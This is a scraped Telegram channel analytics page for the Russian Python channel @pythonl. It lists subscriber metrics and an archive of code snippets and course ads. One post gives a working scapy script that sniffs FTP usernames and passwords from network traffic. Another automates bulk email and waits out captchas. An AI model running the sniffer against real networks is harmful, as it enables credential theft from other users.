¡No caigas en manos de tramposos! Telemetrio encuentra y marca estos canales 👉 Si quieres ver la etiqueta, suscríbete

Python/ django

Ir al canal en Telegram

по всем вопросам @workakkk @itchannels_telegram - 🔥 все ит каналы @ai_machinelearning_big_data -ML @ArtificialIntelligencedl -AI @datascienceiot - 📚 @pythonlbooks РКН: clck.ru/3FmxmM

Red: MachinelearningRusia10 292Tecnologías y Aplicaciones2 244...

📈 Análisis del canal de Telegram Python/ django

El canal Python/ django (@pythonl) en el segmento lingüístico de Ruso es un actor destacado. Actualmente la comunidad reúne a 58 385 suscriptores, ocupando la posición 2 244 en la categoría Tecnologías y Aplicaciones y el puesto 10 292 en la región Rusia.

📊 Métricas de audiencia y dinámica

Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 58 385 suscriptores.

Según los últimos datos del 03 noviembre, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de -242, y en las últimas 24 horas de -32, conservando un alto alcance.

Estado de verificación: No verificado
Tasa de interacción (ER): El promedio de interacción de la audiencia es 6.00%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 3.06% de reacciones respecto al total de suscriptores.
Alcance de las publicaciones: Cada publicación recibe en promedio 3 501 visualizaciones. En el primer día suele acumular 1 784 visualizaciones.
Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 18.
Intereses temáticos: El contenido se centra en temas clave como github, claude, контекст, архитектура, api.

📝 Descripción y política de contenido

El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“по всем вопросам @workakkk @itchannels_telegram - 🔥 все ит каналы @ai_machinelearning_big_data -ML @ArtificialIntelligencedl -AI @datascienceiot - 📚 @pythonlbooks РКН: clck.ru/3Fm...”

Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 04 noviembre, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.

58 385

Suscriptores

-3224 horas

-1807 días

-24230 días

3 501

Visitas de la publicación

~ 1 78424 horas

~ 2 27148 horas

6.00%

Tasa de compromiso

~ 1

Mensajes por día

Ads index

Archivo de publicaciones

58 382

🖥Pytest-postgresql This is a pytest plugin, that enables you to test your code that relies on a running PostgreSQL Database. Это плагин pytest, позволяющий тестировать код, основанный на базе данных PostgreSQL. Он позволяет задавать фикстуры для PostgreSQL. pip install pytest-postgresql ▪Github @pythonl

58 382

🖥 ItsDangerous To ensure the safety of passing data to untrusted environments, use ItsDangerous. ItsDangerous adds a unique signature to the data to verify that the data has not been tampered. При передаче данных между различными веб-запросами существует риск инъекции вредоносного кода. Для обеспечения безопасности передачи данных в по API следует использовать ItsDangerous. ItsDangerous добавляет к данным уникальную подпись, которая позволяет убедиться в том, что данные не были подделаны.


pip install -U itsdangerous


from itsdangerous import URLSafeSerializer
auth_s = URLSafeSerializer("secret key", "auth")
token = auth_s.dumps({"id": 5, "name": "itsdangerous"})

print(token)
# eyJpZCI6NSwibmFtZSI6Iml0c2Rhbmdlcm91cyJ9.6YP6T0BaO67XP--9UzTrmurXSmg

data = auth_s.loads(token)
print(data["name"])
# itsdangerous

▪Github @pythonl

58 382

🖥 Automate the Mundane: How Python Scripts Transform Tedious Tasks Автоматическая организация файлов в папке загрузок, в зависимости от их типа.

import os
import shutil

# Paths
DOWNLOADS_PATH = os.path.expanduser('~/Downloads')  # Modify this if your downloads are in a different location
ORGANIZED_PATHS = {
    'Documents': ['.pdf', '.doc', '.docx', '.txt', '.md', '.xlsx', '.ppt'],
    'Images': ['.jpg', '.jpeg', '.gif', '.png', '.svg'],
    'Music': ['.mp3', '.wav', '.wma', '.ogg', '.flac', '.aac'],
    'Videos': ['.mp4', '.mkv', '.flv', '.mov', '.avi'],
    'Archives': ['.zip', '.tar', '.tar.gz', '.rar', '.7z'],
}

def organize_downloads():
    for filename in os.listdir(DOWNLOADS_PATH):
        file_path = os.path.join(DOWNLOADS_PATH, filename)

        # Ensure we're working with files only
        if not os.path.isfile(file_path):
            continue

        # Find the file's type based on its extension
        file_type = None
        for folder, extensions in ORGANIZED_PATHS.items():
            for extension in extensions:
                if filename.endswith(extension):
                    file_type = folder
                    break
            if file_type:
                break

        # Move the file to its designated folder
        if file_type:
            dest_folder = os.path.join(DOWNLOADS_PATH, file_type)
            os.makedirs(dest_folder, exist_ok=True)
            shutil.move(file_path, os.path.join(dest_folder, filename))
        else:
            # You can add a category for uncategorized files if needed
            pass

if __name__ == "__main__":
    organize_downloads()

@pythonl

58 382

Анализируем junior-вакансии с помощью Python в прямом эфире 👨‍💻 Хотите стать Python-разработчиком, но не знаете какие навыки и знания нужны в первую очередь? Тогда не пропустите вебинар от Ильи Лебедева, разработчика программного обеспечения и преподавателя программирования с нуля. Вместе с вами проанализируем вакансии с помощью Python в прямом эфире. В ходе вебинара вы сможете: → распарсить вакансии новичков → попарсить обязательные и дополнительные требования → построить аналитику → напишите скрипт, который поможет вам самостоятельно построить свой трек обучения для максимального соответствия актуальным вакансиям, его можно будет доработать под себя Для кого: На вебинаре будет интересно и тем, кто знаком с основами Python, и тем, кто не знает разницу между if и for. Мы не будем обсуждать основы синтаксиса, но программирование — это не только синтаксис языка. Когда и где: Присоединяйтесь к эфиру 17 августа в 20:00 по МСК. Зарегистрируйтесь по ссылке, чтобы не пропустить — https://vk.cc/cqaCrd

58 382

🖥 Text-to-Speech with PyTorch Преобразование текста в речь с помощью PyTorch.


import torchaudio
import torch
import matplotlib.pyplot as plt
import IPython.display

bundle = torchaudio.pipelines.TACOTRON2_WAVERNN_PHONE_LJSPEECH

processor = bundle.get_text_processor()
tacotron2 = bundle.get_tacotron2().to(device)  # Move model to the desired device
vocoder = bundle.get_vocoder().to(device)      # Move model to the desired device

text = " My first text to speech!"

with torch.inference_mode():
    processed, lengths = processor(text)
    processed = processed.to(device)      # Move processed text data to the device
    lengths = lengths.to(device)          # Move lengths data to the device
    spec, spec_lengths, _ = tacotron2.infer(processed, lengths)
    waveforms, lengths = vocoder(spec, spec_lengths)

    
fig, [ax1, ax2] = plt.subplots(2, 1, figsize=(16, 9))
ax1.imshow(spec[0].cpu().detach(), origin="lower", aspect="auto")  # Display the generated spectrogram
ax2.plot(waveforms[0].cpu().detach())                             # Display the generated waveform7. Play the generated audio using IPython.display.Audio
IPython.display.Audio(waveforms[0:1].cpu(), rate=vocoder.sample_rate)

@pythonl

58 382

Хочешь пройти алгоритмическую секцию на собеседовании с 1 раза?🤩 Если ты давно откладывал алгоритмы и не знаешь, с чего начать — это твой шанс⭐️ 71% наших учеников уже получили офферы в крупные IT-компании. Хочешь стать следующим? Помогаем заботать алгоритмы на задачах из собеседований в Яндекс, Тинькофф, ВК на курсе: "АЛГОРИТМЫ: ROADMAP для получения офферов в IT!" ☝️Он лучше аналогов, и вот почему: ➡️Структурная подача материала. Информация собрана за вас, вам не нужно искать по всему интернету ответы на вопросы. Плюс есть куратор и препод, у которого можно спросить все, что не понятно. ➡️ Много практики. 100+ задач, которые вы решите сами. За счет постепенного роста сложности задач, вы выработаете большую уверенность в том, что сможете решать алгоритмы. ➡️Каждую неделю вы будете разбирать задачи из СОБЕСЕДОВАНИЙ. Научитесь уверенно решать задачки medium и hard на Leetcode и пройдете собеседования. ➡️У вас будет личный куратор-трекер, который напоминает о ДЗ. Вы получите МОТИВАЦИЮ изучить алгоритмы. ➡️Поддержка от сообщества единомышленников. Для участников будет групповой чат. Благодаря коммьюнити и общению вы получите удовольствие от процесса, а в этом состоянии вы максимально продуктивны. Первому человеку, который пройдет весь курс до конца первым — полностью возместим деньги за обучение💲 🔥 До 18.08 можно присоединиться к 5 потоку с самой большой скидкой в году —20%. ✔️Оставляй заявку на бесплатную консультацию, где мы вместе с экспертом составим твой персональный RoadMap развития по алгоритмам: 🌐https://clck.ru/35KuNu

58 382

👱‍♂️ Creating Face Swaps with Python and OpenCV Скрипт замены лиц с помощью Python и OpenCV. Step 1: Face Detection

import cv2
def detect_face(image_path):
    # Load the face detection classifier
    face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')

    # Read and convert the image to grayscale
    image = cv2.imread(image_path)
    gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

    # Detect faces in the image
    faces = face_cascade.detectMultiScale(gray_image, scaleFactor=1.1, minNeighbors=5)

    # Assuming there's only one face in the image, return its coordinates
    if len(faces) == 1:
        return faces[0]
    else:
        return None

Step 2: Swapping Faces

def main():
    # Paths to the input images
    image_path_1 = 'path_to_image1.jpg'
    image_path_2 = 'path_to_image2.jpg'

    # Detect the face in the second image
    face_coords_2 = detect_face(image_path_2)
    if face_coords_2 is None:
        print("No face found in the second image.")
        return

    # Load and resize the source face
    image_1 = cv2.imread(image_path_1)
    face_width, face_height = face_coords_2[2], face_coords_2[3]
    image_1_resized = cv2.resize(image_1, (face_width, face_height))

    # Extract the target face region from the second image
    image_2 = cv2.imread(image_path_2)
    roi = image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width]

    # Flip the target face horizontally
    reflected_roi = cv2.flip(roi, 1)

    # Blend the two faces together
    alpha = 0.7
    blended_image = cv2.addWeighted(image_1_resized, alpha, reflected_roi, 1 - alpha, 0)

    # Replace the target face region with the blended image
    image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width] = blended_image

    # Display the result
    cv2.imshow('Blended Image', image_2)
    cv2.waitKey(0)
    cv2.destroyAllWindows()

if __name__ == "__main__":
    main()

@pythonl

58 382

🎼 AudioLDM 2: A General Framework for Audio, Music, and Speech Generation AudioLDM 2: Нейросеть, создающая музыку из текстового описания.

conda create -n audioldm python=3.8; conda activate audioldm
pip3 install git+https://github.com/haoheliu/AudioLDM2.git
git clone https://github.com/haoheliu/AudioLDM2; cd AudioLDM2

python3 app.py ▪Github ▪Demo @pythonl

58 382

🟡 This week's digest of useful content from the world of Python Дайджест полезных материалов из мира Python за неделю. Почитать: — Разработка событийно-ориентированных микросервисов с помощью Python — Бережем время, деньги, нервы: наш опыт улучшения справочника факторов для ML-моделей оценки риска. Часть 2 — Я люблю питон, и вот почему он меня бесит — Список популярных утечек с GitHub: Анализ репозиториев компаний — PyCon Russia 2023. Зона Python. Краткий обзор докладов — Менеджеры контекста в Python — Что происходит, когда запускаешь «Hello World» в Linux — Ускорение кода с помощью многопроцессорной обработки в Python — Руководство по созданию бота YouTube с помощью LangChain и Pinecone Vectorstore — Перехват FTP-пароля с помощью Python — Как Python использует сборку мусора для эффективного управления памятью — Converting An Image File Into PDF Using Python — Introducing Kids to Coding Through Tkinter: A Fun Path to Python's Graphical User Interfaces Посмотреть: 🌐 Методы сокращения и улучшения кода на Python 🌐 Продвинутые методы улучшения кода на Python 🌐 Создаем продвинутый интерфейс на Python 🌐 Harvard CS50’s Artificial Intelligence with Python – Full University Course Хорошего дня! @pythonl

58 382

🖥 Importing Data from SQL Server to Excel with Multiple Sheets using Python Импорт данных из SQL Server в Excel с несколькими листами с помощью Python. 🖥 Code @pythonl

58 382

🖥 Coldtype Cross-platform display typography in python. Coldtype — это удобная кроссплатформенная библиотека Python для программирования типографики и текстовой анимации. ▪ Github ▪Tutorial @pythonl

58 382

❗️Как развиваться Python-разработчику? Наращивать объем знаний и навыков. За этим приходите на вебинар, приуроченный к старту онлайн-курса «Python Developer. Professional» в OTUS. ✅ 15 августа — «Code review» Обсудим основы разработки API с помощью фреймворка FastAPI, рассмотрим пример небольшого приложения и осветим особенности развертывания эксплуатации. 🧑‍💻 Спикером выступит Станислав Ступников, руководитель разработки в VK. Эксперт с 10+ лет опыта промышленной разработки. 💪 Погрузим вас в современную «промышленную» разработку на Python. Главный фокус курса на основных Software Engineering компетенциях Python-разработчика и формировании прагматичного подхода к решению задач. 👉 ПРОЙТИ ТЕСТ для регистрации на открытый урок https://otus.pw/JWbt/ Нативная интеграция. Информация о продукте www.otus.ru

58 382

🖥Sniffing FTP password with Python Перехват FTP-пароля с помощью Python.

from typing import Protocol
import sys
from scapy.layers import inet
from scapy.all import *
from scapy.layers import *
import psutil
import scapy.all as scapy
from scapy.layers import http
linea = '--------------------------------------------------'
class bcolors:
    OK = '\033[92m' #GREEN
    WARNING = '\033[93m' #YELLOW
    ladrrr = '8GY.'
    ss = 'OWQ1'
    FAIL = '\033[91m' #RED
    pinocho_chocho = 'y!c'
    RESET = '\033[0m' #RESET COLOR
def ftp_creds(p_ftp):
    if p_ftp[TCP].dport == 21:
        data =  p_ftp.sprintf("%Raw.load%")
        if "USER" in data:
            global ip_ftp
            global ip_ftp2
            ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'"
            print(ip_ftp)
            global user_ftp
            data = data.split(" ")
            data = data[1]
            global user_ftp2
            user_ftp = "'User: ", data, "'"
            print(user_ftp)
        elif "PASS" in data:
            data = data.split(" ")
            data = data[1]
            global passwd_ftp
            global passwd_ftp2
            passwd_ftp = "'PASSWORD: ", data,"'"
            print(passwd_ftp)
            print(linea)
            global ftp_ip_final
            global user_ftp_final

def ftp():
    print(linea)
    print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}")
    addrs = psutil.net_if_addrs()
    cc = str(addrs.keys())
    interfaces = print(cc[9:])
    bb = input("Choose Interface to use: ")
    xs = 0
    if bb in cc:
        try:
            while xs>=0:
                print(linea)
                print(f"{bcolors.WARNING}Searching...{bcolors.RESET}")
                ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds)

        except KeyboardInterrupt:
            print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}")
            print(linea)
            global ftphost
            global ftpuser
            global ftpass
ftp()

📌 Код

📌 Статья @pythonl

58 382

🖐 Python Mouse Control Remotely With Your Hand. Дистанционное управление мышью Python рукой с помощью компьютерного зрения. ▪Code @pythonl

58 382

🔥Email sender script (Selenium + Python) Скрипт рассылки писем по Email (Selenium + Python).

import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import csv

# Путь к web-driver
EXE_PATH = 'chromedriver.exe'
# Логин и пароль от вашей почты
EMAIL = email@mail.com
PASSWORD  = password
        
# запускаем браузер
browser = webdriver.Chrome(executable_path=EXE_PATH)
# Переходим на страницу шаблонов mail.ru
# Сайт выдаст форму авторизации
browser.get('https://e.mail.ru/templates/')

# Выставляем тайминги задержки чтобы браузер успел прогрузить страницу
time.sleep(5)

# Теперь нам надо авторизоваться
# заполняем поле логин
emailElem = browser.find_element_by_name('username')
emailElem.send_keys(EMAIL)
emailElem.submit()
time.sleep(1)

# заполняем поле пароль
passwordElem = browser.find_element_by_name('password')
passwordElem.send_keys(PASSWORD)
passwordElem.submit()
time.sleep(5)

# Мы авторизовались, теперь тащим адреса из файла.csv 
# Содержание файла
# ФИО,Email

with open('email_list.csv', encoding="utf-8") as file:
    EMAIL_LIST = csv.reader(file)
    
    # Запускаем цикл
    for row in EMAIL_LIST:
      # Если mail что то заподозрит, то выкинет капчу, 
        # мы получаем except, ждем некоторое время, и снова отправлем письмо
        try:
          # ФИО <Email>
            email_to = row[0] + "<" + row[1] + ">"
            
            # Нажимаем кнопку шаблоны (первый в списке шаблон настраиваем заранее)       
            browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click()
            time.sleep(3)     
            
            # Заполняем поле кому
            browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to)
            time.sleep(1)
           
            # Нажимаем кнопку отправить
            browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
            time.sleep(5)

            # После отправки открывается модальное окно, закрываем его
            browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
            time.sleep(10)
            
        except Exception:
          # Сообщаем пользователю, что скрипту необходимо переждать
            print('Error! Wait 1 hour\n')
            # Ждем час (можно меньше)
            time.sleep(3600)
            
            # Снова нажимаем кнопку отправить
            browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
            time.sleep(5)

            # Снова закрываем модальное окно
            browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
            time.sleep(10)

print('SUCCESS!')
time.sleep(500)

@pythonl

58 382

🖥 Create a Simple User Form with Python and Tkinter in 5 Minutes Создание простой пользовательской формы с помощью Python и Tkinter за 5 минут - руководство для начинающих.

import openpyxl
from tkinter import *
from tkinter import messagebox


def register():
    # Get the user input from the form
    first_name = first_name_entry.get()
    Last_name = Last_name_entry.get()
    email = email_entry.get()
    Mobile = Mobile_entry.get()

    # Create a new row with the user input
    new_row = [first_name, Last_name, email,Mobile]

    # Append the new row to the Excel sheet
    workbook = openpyxl.load_workbook("registration_data.xlsx")
    sheet = workbook.active
    sheet.append(new_row)
    workbook.save("registration_data.xlsx")
    messagebox.showinfo("Success", "Registration successful!")


# Create the main tkinter window
root = Tk()
root.title("Registration Form")
root.geometry('300x300')

# Create labels and entry fields for each input
first_name_label = Label(root, text="First Name:")
first_name_label.pack()
first_name_entry = Entry(root)
first_name_entry.pack()

Last_name_label = Label(root, text="Last Name:")
Last_name_label.pack()
Last_name_entry = Entry(root)
Last_name_entry.pack()

email_label = Label(root, text="Email:")
email_label.pack()
email_entry = Entry(root)
email_entry.pack()

Mobile_label = Label(root, text="Mobile:")
Mobile_label.pack()
Mobile_entry = Entry(root)
Mobile_entry.pack()

register_button = Button(root, text="Register", command=register)
register_button.pack()

root.mainloop()

@pythonl

58 382

🐍Ten New Features of Python 3.11 That Make Your Code More Efficient 10 новых возможностей Python 3.11, которые сделают ваш код более эффективным. 01 Pattern Matching *изображение 1. 02 Structural Pattern Matching *изображение 2. 03 Type Hints and Checks *изображение 3. 04 Оптимизация производительности *изображение 4. 05 Улучшения отчетов об ошибках *изображение 5. 06 Новая стандартная библиотека zoneinfo *изображение 6. 07 iterate *изображение 7. 08 Merge Dictionary Operator *изображение 8. 09 Новая функция точки прерывания отладки *изображение 9. 10 Синхронная итерация *изображение 10.

58 382

⚡️Маст-хэв список для программистов, каналы с последними книжными новинками, библиотеками, разбором кода и актуальной информацией, связанной с вашим языком программирования. Лучший способ получать свежие обновлении и следить за трендами в разработке. Машинное обучение: t.me/ai_machinelearning_big_data Python: t.me/pythonl C#: t.me/csharp_ci C/C++/ t.me/cpluspluc Data Science: t.me/data_analysis_ml Devops: t.me/devOPSitsec Go: t.me/Golang_google Базы данных: t.me/sqlhub Rust: t.me/rust_code Javascript: t.me/javascriptv React: t.me/react_tg PHP: t.me/phpshka Android: t.me/android_its Мобильная разработка: t.me/mobdevelop Linux: t.me/+A8jY79rcyKJlYWY6 Big Data: t.me/bigdatai Хакинг: t.me/linuxkalii Тестирование: https://t.me/+F9jPLmMFqq1kNTMy Java: t.me/javatg 💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy 📕 Бесплатные Книги для программистов: https://t.me/addlist/YZ0EI8Ya4OJjYzEy 🎞 YouTube канал: https://www.youtube.com/@uproger 😆ИТ-Мемы: t.me/memes_prog 🇬🇧Английский: t.me/english_forprogrammers

58 382

🔥🔥 VideoCrafter：A Toolkit for Text-to-Video Generation and Editing A Toolkit for Text-to-Video Generation and Editing Опенсоурс алгоритм для генерации видеоконтента и преобразования текста в видео. •Github •Colab @pythonl

58 382

🖥 Excel File Automation Создание и работа с excel-файлами с помощью python-скрипта.

from openpyxl import Workbook
from openpyxl.utils import get_column_letter
from openpyxl.styles import Font

#making the grid and giving the data
data = {
 "Joe": {
  "math": 65,
  "science": 78,
  "english": 98,
  "gym": 89
 },
 "Bill": {
  "math": 55,
  "science": 72,
  "english": 87,
  "gym": 95
 },
 "Tim": {
  "math": 100,
  "science": 45,
  "english": 75,
  "gym": 92
 },
 "Sally": {
  "math": 30,
  "science": 25,
  "english": 45,
  "gym": 100
 },
 "Jane": {
  "math": 100,
  "science": 100,
  "english": 100,
  "gym": 60
 }
}

wb = Workbook()
ws = wb.active
#assigning the title
ws.title = "Grades"
#giving proper formatting for columns 
headings = ['Name'] + list(data['Joe'].keys())
ws.append(headings)

#reading the data for persom
for person in data:
 grades = list(data[person].values())
 ws.append([person] + grades)

for col in range(2, len(data['Joe']) + 2):
 char = get_column_letter(col)
 ws[char + "7"] = f"=SUM({char + '2'}:{char + '6'})/{len(data)}"
#assigning the colour and text type 
for col in range(1, 6):
 ws[get_column_letter(col) + '1'].font = Font(bold=True, color="0099CCFF")

#saving the excel file in the same folder
wb.save("NewGrades.xlsx")

@pythonl